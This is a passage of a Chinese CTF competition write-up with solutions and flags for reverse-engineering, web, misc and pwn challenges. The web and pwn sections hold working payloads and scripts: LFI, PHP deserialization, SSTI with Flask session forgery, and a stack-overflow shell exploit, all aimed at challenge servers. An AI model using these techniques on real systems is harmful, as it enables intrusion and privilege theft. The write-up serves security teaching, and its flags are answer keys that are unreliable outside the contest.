print(&apos;&apos;.join(chr(b ^ 15) for b in base64.b64decode(&apos;aWNuaHRra3lgP2ZhaCJ3eTw3In19N2oiPGY9OCJ5dmdjfnxtPzdjY3ly&apos;)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{ddvo0ing-xv38-rr8e-3i27-vyhlqsb08llv}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(四) rerere.exe&lt;/h3&gt;
&lt;h4&gt;1. 样本基本信息&lt;/h4&gt;
&lt;p&gt;使用 Detect It Easy 查壳，结果为无壳 PE64 文件 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;架构：&lt;/strong&gt; x86-64 PE (image base 0x140000000)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;编译器：&lt;/strong&gt; GCC (GNU) 15.1.0 / MinGW-w64&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MD5：&lt;/strong&gt; &lt;code&gt;2b493f3ccbf3db74e21fa4f4ba8ec33b&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;2. IDA 静态分析&lt;/h4&gt;
&lt;p&gt;在 IDA 中检索字符串 &lt;code&gt;&quot;Input: &quot;&lt;/code&gt;（0x140004000），通过交叉引用定位到 &lt;code&gt;sub_1400014FB&lt;/code&gt;（即 &lt;code&gt;main&lt;/code&gt; 函数）：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sub_1400026F0(&quot;Input: &quot;);
fgets(Buffer, 64, stdin);
n = strlen(Buffer);
if (Buffer[n-1] == &apos;\n&apos;) { Buffer[n-1] = 0; n--; } // 去掉换行
if (n == 38 &amp;amp;&amp;amp; sub_140001480(Buffer, 38))
    puts(&quot;Correct!&quot;);
else
    puts(&quot;Wrong!&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由此可知 Flag 长度固定为 &lt;strong&gt;38&lt;/strong&gt; 位，核心校验在 &lt;code&gt;sub_140001480&lt;/code&gt; 中 。&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;sub_140001480(Buffer, 38)&lt;/code&gt; ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (v2 = 0; v2 &amp;lt; 38; v2++) {
    if ( byte_140004060[ Buffer[v2] ^ byte_140004048[v2 &amp;amp; 7] ] != byte_140004020[v2] )
        return 0; // Wrong
}
return 1; // Correct
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序中包含三张核心数据表 ：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;byte_140004020&lt;/code&gt; (大小: 38)：目标输出 &lt;code&gt;target[]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;byte_140004048&lt;/code&gt; (大小: 8)：循环异或密钥 &lt;code&gt;key[]&lt;/code&gt; (下标为 &lt;code&gt;v2 &amp;amp; 7&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;byte_140004060&lt;/code&gt; (大小: 256)：替换表 &lt;code&gt;sbox[]&lt;/code&gt;（且该 Sbox 是一射单射/双射）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;3. 解密脚本&lt;/h4&gt;
&lt;p&gt;加密逻辑为：&lt;code&gt;sbox[ input[i] ^ key[i &amp;amp; 7] ] == target[i]&lt;/code&gt; 。可以通过求出 &lt;code&gt;sbox&lt;/code&gt; 的逆置换表 &lt;code&gt;inv_sbox&lt;/code&gt; 进行反向推导 ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;input[i] = inv_sbox[ target[i] ] ^ key[i &amp;amp; 7]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;target = [
    0xa3,0x5b,0x4c,0x0a,0x0e,0x98,0x84,0xda,0x14,0xe7,0x0b,0x91,0x53,
    0x49,0x4f,0xb6,0xa9,0xac,0x0b,0x49,0x14,0x97,0x4f,0xd5,0xb1,0x96,
    0x75,0xf6,0x3b,0xa7,0x84,0xc5,0xa9,0xc9,0x06,0x36,0xc6,0x6c,
]
key = [0xb9,0xcd,0xce,0x30,0xb8,0x61,0x4e,0xaa]
sbox = [
    0xc2,0x23,0x97,0x49,0x83,0xf6,0xd3,0xa7,0xeb,0xbf,0x78,0xc3,0x29,0x56,0xd2,0x1a,
    0x13,0xbc,0x21,0x6a,0x37,0x8e,0x5f,0x0c,0xb4,0x46,0xde,0xe4,0x6c,0xa2,0x66,0x30,
    0x0f,0xa4,0xbb,0x8c,0x09,0x4b,0x3d,0x32,0x42,0x55,0x2d,0x4f,0xf9,0x77,0x1b,0x74,
    0x1f,0x71,0x7b,0x9d,0x73,0xc4,0xab,0xd0,0xf3,0xc1,0x88,0x07,0xdc,0xce,0xef,0xc0,
    0x72,0x4a,0x27,0x81,0x9b,0xee,0xc7,0x28,0x26,0x5a,0x94,0x54,0x70,0xd1,0xe9,0xc8,
    0x98,0x36,0x91,0x41,0xb8,0x3a,0x79,0x0a,0x08,0xe5,0xaf,0x80,0x24,0xae,0x00,0x19,
    0xcc,0x7a,0xf7,0x51,0x7d,0x69,0xec,0x03,0x65,0x25,0x1c,0x01,0xf5,0xe6,0xbd,0xd9,
    0x59,0xfe,0x92,0xb0,0x10,0x6f,0xf0,0xe3,0x9f,0xad,0x84,0xf4,0xa5,0x33,0x35,0x48,
    0x53,0xb1,0xe0,0xd8,0x05,0x38,0x18,0x68,0xa9,0x14,0xc6,0x3f,0x61,0x8a,0x31,0x3b,
    0xba,0x2b,0x4e,0xe2,0x57,0x9a,0xf1,0xea,0x64,0x7e,0xa0,0x93,0xb6,0xda,0x60,0x2e,
    0x1d,0x5b,0x82,0x34,0x6d,0xfc,0xcf,0x7f,0xe7,0x96,0x67,0x43,0x06,0x44,0xc9,0x4c,
    0x40,0xdb,0xfd,0x4d,0xb5,0xed,0x39,0x2c,0xb3,0x17,0x9e,0xcd,0xfa,0x6b,0xca,0x87,
    0x8f,0x9c,0x89,0x0e,0x63,0x45,0x86,0xaa,0x5e,0x95,0x16,0xc5,0xd5,0x2f,0xa1,0xf8,
    0x99,0xff,0x3c,0x0d,0x3e,0xd4,0x04,0x76,0xd7,0x47,0x20,0x8d,0xdf,0x5c,0x7c,0xa3,
    0x1e,0x8b,0x15,0xb9,0xa8,0xcb,0x22,0xa6,0x52,0xd6,0xfb,0x5d,0xdd,0xb2,0x6e,0xe8,
    0xf2,0xe1,0x2a,0x58,0x62,0x12,0x11,0x50,0x75,0xb7,0xac,0x90,0x0b,0x85,0x02,0xbe,
]

inv = [0] * 256
for i, v in enumerate(sbox):
    inv[v] = i

flag = &apos;&apos;.join(chr(inv[target[i]] ^ key[i &amp;amp; 7]) for i in range(38))
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{1470e2b8be617231cef8d657f4a1cba2}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;(一) OA System Portal&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;这是一个典型的 &lt;strong&gt;PHP 文件包含漏洞（LFI）&lt;/strong&gt; 题目 。其核心代码可以通过 &lt;code&gt;php://filter&lt;/code&gt; 伪协议读出 ：&lt;/p&gt;
&lt;p&gt;PHP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$module = isset($_GET[&apos;module&apos;]) ? $_GET[&apos;module&apos;] : &apos;public_notices.php&apos;;
$module = str_replace(&apos;../&apos;, &apos;&apos;, $module);
include($module);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序仅仅对 &lt;code&gt;../&lt;/code&gt; 进行了过滤（可以通过双写绕过或直接不用），但没有禁止绝对路径和 PHP Stream Wrapper 。因此，我们可以尝试直接包含系统内的敏感文件。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;先利用伪协议请求读取 &lt;code&gt;index.php&lt;/code&gt; 确认其包含逻辑：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;?module=php://filter/convert.base64-encode/resource=index.php&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;随后直接包含根目录下的常见 flag 路径 &lt;code&gt;/flag.txt&lt;/code&gt;，成功命中 。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;最终利用 Payload&lt;/h4&gt;
&lt;p&gt;Plaintext&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://47.99.147.34:22508/?module=/flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{486494bb06932e628c595d285df9eae9}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(二) WEB-PHP_Payment&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;在分析该系统的优惠券接口时，发现传入的用户可控数据被直接进行了反序列化处理 ：&lt;/p&gt;
&lt;p&gt;PHP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$decoded = base64_decode($couponData);
$promo = @unserialize($decoded);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看源码中的 &lt;code&gt;src/models.php&lt;/code&gt;，发现类 &lt;code&gt;PromoManager&lt;/code&gt; 包含一个析构函数，会在请求结束时将 &lt;code&gt;promo_credit&lt;/code&gt; 的数值累加到当前 Session 的 balance 余额中 ：&lt;/p&gt;
&lt;p&gt;PHP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function __destruct() {
    if(isset($this-&amp;gt;promo_credit) &amp;amp;&amp;amp; is_numeric($this-&amp;gt;promo_credit)) {
        $_SESSION[&apos;balance&apos;] += intval($this-&amp;gt;promo_credit);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而在 &lt;code&gt;src/buy.php&lt;/code&gt; 中购买 flag 需要 &lt;code&gt;99999&lt;/code&gt; 金币，初始余额只有 &lt;code&gt;20&lt;/code&gt; 。因此我们可以构造恶意反序列化对象，将 &lt;code&gt;promo_credit&lt;/code&gt; 改为极大值以实现 Session 刷钱 。由于余额与 &lt;code&gt;PHPSESSID&lt;/code&gt; 绑定，所以领券和买 flag 必须保持相同的 Session 。&lt;/p&gt;
&lt;h4&gt;漏洞利用步骤&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;构造 PHP 序列化字符串 ：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;O:12:&quot;PromoManager&quot;:2:{s:12:&quot;promo_credit&quot;;i:100000;s:10:&quot;promo_code&quot;;s:1:&quot;x&quot;;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将其编码为 Base64 ：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;携带获取到的 &lt;code&gt;PHPSESSID&lt;/code&gt; 访问券接口刷钱 ：&lt;/p&gt;
&lt;p&gt;HTTP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/apply_coupon.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=你的session
Content-Type: application/x-www-form-urlencoded

coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;请求结束后自动触发 &lt;code&gt;__destruct()&lt;/code&gt; 刷钱成功 ，使用相同 Session 调用购买接口即可拿 flag ：&lt;/p&gt;
&lt;p&gt;HTTP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /buy.php HTTP/1.1
Host: 47.99.147.34:28542
Cookie: PHPSESSID=同一个session
Content-Type: application/x-www-form-urlencoded

item=flag
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{4eab66d7fffeba5ede642960f36c0100}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(三) WEB-Snake_Game&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;进入贪吃蛇小游戏页面，开启 Burp Suite 进行抓包拦截 。&lt;/li&gt;
&lt;li&gt;玩一局或直接观察到游戏结束时提交分数的 POST 请求。&lt;/li&gt;
&lt;li&gt;发现服务端的校验点完全依赖于客户端提交的 &lt;code&gt;score&lt;/code&gt; 参数，若 &lt;code&gt;score &amp;gt;= 300&lt;/code&gt; 就会在响应中回显 Flag 。&lt;/li&gt;
&lt;li&gt;直接在 Burp Suite Repeater/Proxy 中将 &lt;code&gt;score&lt;/code&gt; 的表单值修改为一个大于 300 的数值（例如 &lt;code&gt;777777&lt;/code&gt;），然后重放数据包，服务端成功返回 Flag 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{d64789df977417240841c25834f4d77f}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(四) WEB-TaxSystem_SSTI&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;凭证泄漏：&lt;/strong&gt; 审计源码发现 &lt;code&gt;init_db.py&lt;/code&gt; 中写死了管理员账号密码 &lt;code&gt;admin / 123456&lt;/code&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;SSTI 漏洞点：&lt;/strong&gt; &lt;code&gt;app.py&lt;/code&gt; 的 &lt;code&gt;/api/import&lt;/code&gt; 允许修改档案信息，当档案的 &lt;code&gt;state == &apos;AUDIT_PENDING&apos;&lt;/code&gt; 时，其绑定的 &lt;code&gt;custom_footer&lt;/code&gt; 字段会被无过滤直接拼接进模板并传入 &lt;code&gt;render_template_string()&lt;/code&gt; 渲染，从而造成 &lt;strong&gt;SSTI（服务端模板注入）&lt;/strong&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;绕过与密钥窃取：&lt;/strong&gt; 题目黑名单虽然过滤了许多常见特殊字符和关键字（如 &lt;code&gt;__&lt;/code&gt;、&lt;code&gt;[]&lt;/code&gt;、引号等），但并没有过滤 &lt;code&gt;{{config}}&lt;/code&gt; 。通过打印 Flask 的 &lt;code&gt;config&lt;/code&gt; 即可泄露远端的真实 &lt;code&gt;SECRET_KEY&lt;/code&gt; 为 &lt;code&gt;secret_tax_key_2026_xoxo&lt;/code&gt; 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Session 伪造：&lt;/strong&gt; 获取到 &lt;code&gt;SECRET_KEY&lt;/code&gt; 后，可以在本地使用 Flask 库伪造具有高权限的 Session Cookie（&lt;code&gt;{&quot;user_id&quot;: 1, &quot;role&quot;: &quot;tax_inspector&quot;}&lt;/code&gt;），从而绕过后台认证访问后台金库路径 &lt;code&gt;/admin/vault&lt;/code&gt; 获取 Flag 。&lt;/p&gt;
&lt;h4&gt;自动化利用脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re
import html
import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

BASE = &quot;http://120.27.146.76:12426&quot;
s = requests.Session()

# 1. 登录
s.post(BASE + &quot;/login&quot;, data={&quot;username&quot;: &quot;admin&quot;, &quot;password&quot;: &quot;123456&quot;}, timeout=8)
# 2. 创建 profile
s.post(BASE + &quot;/api/create_profile&quot;, timeout=8)
# 3. 提取 profile_id
dash = s.get(BASE + &quot;/dashboard&quot;, timeout=8).text
pid = max(map(int, re.findall(r&quot;/preview/(\d+)&quot;, dash)))
# 4. 写入 SSTI payload
s.post(BASE + &quot;/api/import&quot;, json={
    &quot;profile_id&quot;: pid,
    &quot;data&quot;: {
        &quot;state&quot;: &quot;AUDIT_PENDING&quot;,
        &quot;custom_footer&quot;: &quot;{{config}}&quot;
    }
}, timeout=8)
# 5. 读取泄露的真实 SECRET_KEY
preview = html.unescape(s.get(f&quot;{BASE}/preview/{pid}&quot;, timeout=8).text)
secret = re.search(r&quot;&apos;SECRET_KEY&apos;: &apos;([^&apos;]+)&apos;&quot;, preview).group(1)
print(&quot;[+] SECRET_KEY =&quot;, secret)
# 6. 伪造高权限 Session
app = Flask(__name__)
app.secret_key = secret
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({&quot;user_id&quot;: 1, &quot;role&quot;: &quot;tax_inspector&quot;})
print(&quot;[+] forged session =&quot;, cookie)
# 7. 访问金库获取 flag
r = requests.get(BASE + &quot;/admin/vault&quot;, cookies={&quot;session&quot;: cookie}, timeout=8)
flag = re.search(r&quot;flag\{[^}]+\}&quot;, r.text).group()
print(&quot;[+] flag =&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{8fe0832554e14a96448f6aa57257ffc6}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;(一) 签到题-损坏的压缩包&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;解压题目给出的压缩包，得到一个 &lt;code&gt;.txt&lt;/code&gt; 文本文件 。&lt;/li&gt;
&lt;li&gt;打开文本文件，其内容为一段类似于 Base64 形式的密文：&lt;code&gt;Zmt2bA==&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;将密文放入 CyberChef（赛博厨子）中，使用 &lt;code&gt;From Base64&lt;/code&gt; 还原工具进行解码，直接输出明文 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{fkvl}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(二) 幻影&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;解压题目拿到 &lt;code&gt;data.bin&lt;/code&gt; 文件 。使用 010 Editor 打开该二进制文件，其文件头显示为 RAR 压缩包头，但往后看并没有实际的压缩体，而是直接写在包体内的明文提示文本 ： &lt;code&gt;REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;文本下方附带了真正的 Flag 经过加密后的字符串 ： &lt;code&gt;p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;由于没有提供 1 字节的异或密钥（Key），可在将 Base64 解码为原始字节后，编写 Python 脚本对范围在 &lt;code&gt;0-255&lt;/code&gt; 内的单字节 Key 进行爆破，以匹配以 &lt;code&gt;b&quot;flag{&quot;&lt;/code&gt; 开头的明文结果 ：&lt;/p&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

enc = &quot;p62gprr28vjy8/P09OynoPWj7PXz9fPso6L29uzw8/ny8/Wl9veloPe8&quot;
raw = base64.b64decode(enc)

for key in range(256):
    dec = bytes(b ^ key for b in raw)
    if dec.startswith(b&quot;flag{&quot;):
        print(&quot;key =&quot;, hex(key), key)
        print(dec.decode())
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功爆破出异或密钥为 &lt;code&gt;0xc1&lt;/code&gt;（十进制 193）并还原明文 。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{73932255-fa4b-4242-bc77-128324d76da6}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(三) 迷宫&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;题目是一个多层嵌套的压缩包，使用 Bandizip 顺着目录不断向下解压 。&lt;/li&gt;
&lt;li&gt;剥离到第四层后顺利获取到一个名为 &lt;code&gt;vault.bin&lt;/code&gt; 的文件 。&lt;/li&gt;
&lt;li&gt;使用 010 Editor 打开 &lt;code&gt;vault.bin&lt;/code&gt;，可以清晰地看到里面存储的是一串纯文本的 Base64 编码字符串：&lt;code&gt;ZTYyM2A5M2UxYmNlNWNhY2IwY2U3N2Y2OGQzZDdlN2Q=&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;将该字符串放到 CyberChef 中作 Base64 解码，直接得出 Flag 核心哈希串 。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{e622093e1bbe5aacb0ce77f68d3d7e7d}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(四) 像素中的秘密&lt;/h3&gt;
&lt;h4&gt;解题思路&lt;/h4&gt;
&lt;p&gt;解压后拿到一张全白的 &lt;code&gt;image_10.png&lt;/code&gt; 图片 。使用 010 Editor 检查发现其 IEND 块之后存在额外的附加数据，表明有明显的图片尾部隐写 。&lt;/p&gt;
&lt;p&gt;附加数据包含三块信息，其中图片尾端的数据包含 &lt;code&gt;00000000&lt;/code&gt; 以及 &lt;code&gt;69CB3446&lt;/code&gt;。结合题名暗示，这与 &lt;strong&gt;LCG（线性同余生成器）算法&lt;/strong&gt;隐写有关，因此可以将 &lt;code&gt;0x69CB3446&lt;/code&gt; 作为 LCG 算法的初始种子（Seed）尝试恢复 。&lt;/p&gt;
&lt;p&gt;编写 LCG 异或解密脚本 ：&lt;/p&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def lcg_xor_decrypt_embedded() -&amp;gt; bytes:
    x = 0x69CB3446
    # 提取出的尾部密文字节
    cipher = b&apos;&apos;.join([
        b&apos;\xDC\x5E\xD1\x8A\x38\x28\xBB\xDF\x6C\x7B\x57\x84\x4F\x0E\x9B\x51&apos;,
        b&apos;\x3A\xDF\xC4\xD9\x63\x0E\xA9\x39\x89\x26\x08\xC8\xB8\xF3\xD2\xBF&apos;,
        b&apos;\x43\x08\xC7\x7A\x91\xBC\xEB\x4E\x55\xB0\x4F\x62\x59\xE4\xF3\xB6&apos;,
        b&apos;\x9D\x58\xD7\x4A\x21\x0C\xFB\x1E&apos;
    ])
    result = bytearray()
    for b in cipher:
        x = (1664525 * x + 1013904223) &amp;amp; 0xffffffff
        key = x &amp;amp; 0xff
        result.append(b ^ key)
    return bytes(result)

print(lcg_xor_decrypt_embedded())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密后得到具有可读意义的 &lt;strong&gt;Base62 密文&lt;/strong&gt; 字符串 ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;16vPI4pqYkxFvJHGGgssbbrGLF7Zqg1YN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将其放入 CyberChef 中，通过 &lt;code&gt;From Base62&lt;/code&gt; 进行解码，获取最终 Flag 。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{final_flag_png_lcg}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Pwn&lt;/h2&gt;
&lt;h3&gt;(一) PWN-Authenticate&lt;/h3&gt;
&lt;h4&gt;1. 保护检查与漏洞分析&lt;/h4&gt;
&lt;p&gt;使用 &lt;code&gt;checksec&lt;/code&gt; 检查 &lt;code&gt;vuln&lt;/code&gt; 二进制文件，发现未开启 Canary 与 PIE（No PIE），且栈可执行，非常适合通过经典的栈溢出覆盖返回地址进行 &lt;strong&gt;ret2text&lt;/strong&gt; 漏洞攻击 。&lt;/p&gt;
&lt;p&gt;反编译代码中，在 &lt;code&gt;login()&lt;/code&gt; 函数内部可以看到如下输入逻辑 ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void login() {
    char password[0x80];
    char username[0x40];
    read(0, username, 0x40);
    gets(password); // 漏洞点：gets未限制输入长度，直接导致栈溢出
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;password&lt;/code&gt; 位于 &lt;code&gt;rbp-0x80&lt;/code&gt; 处 。&lt;/p&gt;
&lt;h4&gt;2. 偏移计算与后门利用&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;偏移量：&lt;/strong&gt; 输入缓冲区起点到保存的返回地址的距离为：&lt;code&gt;0x80 (缓冲区大小) + 8 (saved RBP) = 136 字节&lt;/code&gt; 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;后门函数：&lt;/strong&gt; 程序中在固定地址自带了一个 &lt;code&gt;backdoor()&lt;/code&gt; 函数（地址为 &lt;code&gt;0x4011f6&lt;/code&gt;），其内部会执行 &lt;code&gt;system(&apos;/bin/sh&apos;)&lt;/code&gt; 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;栈对齐：&lt;/strong&gt; 在 Ubuntu 新版本高版本环境中，为了确保 &lt;code&gt;system&lt;/code&gt; 函数内部执行时栈指针对齐（16字节对齐），我们需要在执行 &lt;code&gt;backdoor&lt;/code&gt; 地址之前垫上一个单纯的 &lt;code&gt;ret&lt;/code&gt; 指令（地址 &lt;code&gt;0x40101a&lt;/code&gt;）。&lt;/p&gt;
&lt;h4&gt;3. 核心利用脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

HOST = &apos;47.99.147.34&apos;
PORT = 27711

ret = 0x40101a
backdoor = 0x4011f6
offset = 136

payload = b&apos;A&apos; * offset + p64(ret) + p64(backdoor)

io = remote(HOST, PORT)
io.sendlineafter(b&apos;Username: &apos;, b&apos;test&apos;)
io.sendlineafter(b&apos;Password: &apos;, payload)
io.sendline(b&apos;cat flag&apos;)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;flag{bda7ca24b316a799200260fa3ca545eb}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;(二) PWN-MessageBoard&lt;/h3&gt;
&lt;h4&gt;1. 保护检查与漏洞分析&lt;/h4&gt;
&lt;p&gt;通过 &lt;code&gt;checksec&lt;/code&gt; 分析程序保护情况，发现程序没有 Canary、No PIE，更关键的是其 &lt;strong&gt;NX 为 unknown / 栈可执行（Executable）&lt;/strong&gt; 。&lt;/p&gt;
&lt;p&gt;反编译漏洞函数 &lt;code&gt;vuln()&lt;/code&gt; 发现其执行了栈地址泄露 ：&lt;/p&gt;
&lt;p&gt;C&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 伪代码逻辑
printf(&quot;Buffer at: %p\n&quot;, buf); // 泄露了栈缓冲区地址
read(0, buf, 0x100);             // 漏洞点：buf只有0x80字节大小，但允许读入0x100字节，造成栈溢出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于栈地址已知且栈区域可执行，我们可以直接采用 &lt;strong&gt;Shellcode 注入攻击（ret2stack）&lt;/strong&gt; 。&lt;/p&gt;
&lt;h4&gt;2. 利用构造&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;溢出偏移：&lt;/strong&gt; &lt;code&gt;buf&lt;/code&gt; 位于 &lt;code&gt;rbp-0x80&lt;/code&gt;，覆盖保存的返回地址（RIP）的偏移量同样为 &lt;code&gt;0x80 + 8 = 136 字节&lt;/code&gt; 。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Payload 布局：&lt;/strong&gt; 在 &lt;code&gt;buf&lt;/code&gt; 开头布置一定量的 &lt;code&gt;\x90&lt;/code&gt; 作为 NOP 滑行区（NOP Sled），紧随其后放置一段精简的 &lt;code&gt;execve(&apos;/bin//sh&apos;)&lt;/code&gt; Shellcode 。随后使用任意无意义字符（如 &lt;code&gt;A&lt;/code&gt;）将其填充垫齐至 136 字节，最后把返回地址覆写为最开始泄露出的栈缓冲区 &lt;code&gt;buf_addr&lt;/code&gt; 。&lt;/p&gt;
&lt;h4&gt;3. 完整利用脚本&lt;/h4&gt;
&lt;p&gt;Python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import re
import socket
import struct
import time

HOST = &quot;120.27.146.76&quot;
PORT = 10406
BUF_SIZE = 0x80

